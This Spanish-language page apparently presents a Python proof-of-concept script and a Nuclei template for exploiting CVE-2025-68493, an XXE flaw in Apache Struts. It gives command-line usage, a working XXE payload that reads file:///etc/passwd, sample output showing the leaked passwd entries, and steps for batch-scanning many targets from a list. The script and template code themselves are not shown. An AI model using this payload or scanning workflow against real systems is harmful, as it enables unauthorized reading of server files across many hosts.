
Python PoC script y plantilla YAML de Nuclei para detectar y explotar CVE-2025-68493, una vulnerabilidad XXE en Apache Struts, que permite la lectura de archivos y el escaneo por lotes.
CVE-2025-68493
[1] Vulnerabilidad ApacheStrutsXWorkXML CVE-2025-68493 PoC y script | ZONE.CI Red Global. https://zone.ci/secarticles/wx/486533.html
Para verificar y explotar la vulnerabilidad CVE-2025-68493, se pueden usar el script Python PoC y la plantilla Nuclei YAML proporcionados a continuación.
Nombre del script: cve_2025_68493_poc.py
Función: Este script se utiliza para la verificación de vulnerabilidades en un solo objetivo, intentando leer un archivo especificado (por defecto /etc/passwd).
Requisitos previos:
requests ()pip install requestsParámetros de línea de comandos:
-u, --url: URL base de la aplicación objetivo (por ejemplo: http://127.0.0.1:8080)-f, --file: Ruta del archivo objetivo a leer (por defecto /etc/passwd)Ejemplo:
python3 cve_2025_68493_poc.py -u http://example.com:8080 -f /etc/passwd
Salida esperada:
Si el objetivo es vulnerable y el archivo se lee correctamente, se mostrará un contenido similar al siguiente:
[*] Testing URL: http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
[*] Payload: <?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
[+] Vulnerable! Successfully read /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
----------------------------------------
Nombre de la plantilla: cve-2025-68493.yaml
Función: Esta plantilla se utiliza con la herramienta Nuclei para escanear múltiples objetivos en lote y detectar la vulnerabilidad CVE-2025-68493.
Requisitos previos:
Parámetros de línea de comandos:
-t: Ruta del archivo de la plantilla Nuclei-u: URL de un solo objetivo-l: Archivo que contiene las URLs de múltiples objetivosEjemplo:
Escaneo de un solo objetivo:
nuclei -t cve-2025-68493.yaml -u http://example.com:8080
Escaneo por lotes:
Suponiendo que tiene un archivo llamado targets.txt, donde cada línea contiene una URL de destino:
http://target1.com:8080
http://target2.com:8080
Ejecute el siguiente comando para el escaneo por lotes:
nuclei -t cve-2025-68493.yaml -l targets.txt